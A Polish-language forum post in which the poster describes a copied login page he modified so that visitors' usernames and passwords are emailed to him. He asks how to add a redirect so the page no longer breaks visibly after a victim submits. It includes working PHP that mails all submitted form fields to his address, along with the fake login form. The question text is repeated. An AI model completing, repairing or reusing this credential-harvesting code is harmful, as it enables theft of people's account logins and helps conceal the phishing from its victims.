Arthex
Użytkownik
- Dołączył
- Lipiec 10, 2012
- Posty
- 15
Witam
Przerobiłem kod pewnej strony tzn. jeśli ktoś wpisze login i hasło do swojego konta i kliknie przycisk "Login" to dane z formularza są wysyłane na mój e-mail i wszystko działa jak należy problem pojawia się po kliknięciu "Login" ponieważ strona zostaje lekko "rozwalona" tzn. prawa część strony w której znajduje się formularz przesuwa się na lewą stronę i wtedy pomaga tylko odświeżenie strony.
Chciałbym żeby skrypt wysyłający dane z formularza wysyłał je na mój adres e-mail i jednocześnie przenosił tą osobę na inną stronę.
Co zmienić w tym kodzie aby wysyłał dane z formularza i przenosił na inną stronę ?
Proszę o pomoc.
Przerobiłem kod pewnej strony tzn. jeśli ktoś wpisze login i hasło do swojego konta i kliknie przycisk "Login" to dane z formularza są wysyłane na mój e-mail i wszystko działa jak należy problem pojawia się po kliknięciu "Login" ponieważ strona zostaje lekko "rozwalona" tzn. prawa część strony w której znajduje się formularz przesuwa się na lewą stronę i wtedy pomaga tylko odświeżenie strony.
Chciałbym żeby skrypt wysyłający dane z formularza wysyłał je na mój adres e-mail i jednocześnie przenosił tą osobę na inną stronę.
Co zmienić w tym kodzie aby wysyłał dane z formularza i przenosił na inną stronę ?
Kod:
<?php
if (count($_POST))
{
////////// USTAWIENIA //////////
$email = 'MOJ ADRES E-MAIL'; // Adres e-mail adresata
$subject = 'LOGIN'; // Temat listu
$charset = 'iso-8859-2'; // Strona kodowa
//////////////////////////////
$head =
"MIME-Version: 1.0\r\n" .
"Content-Type: text/plain; charset=$charset\r\n" .
"Content-Transfer-Encoding: 8bit";
$body = '';
foreach ($_POST as $name => $value)
{
if (is_array($value))
{
for ($i = 0; $i < count($value); $i++)
{
$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";
}
}
else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";
}
echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;
}
else
{
?>
<form action="#" method="post">
<label>Nazwa użytkownika</label>
<div class="input">
<input type="text" value="" id="name" name="username" maxlength="30" />
</div>
<label>Hasło</label>
<div class="input">
<input type="password" value="" name="password" maxlength="32"/>
</div>
<div>
<input type="submit" class="button btn-login" onclick="document.forms['loginFormElement'].submit();return false;" value="Login" />
</form>
<?php
}
?>
Proszę o pomoc.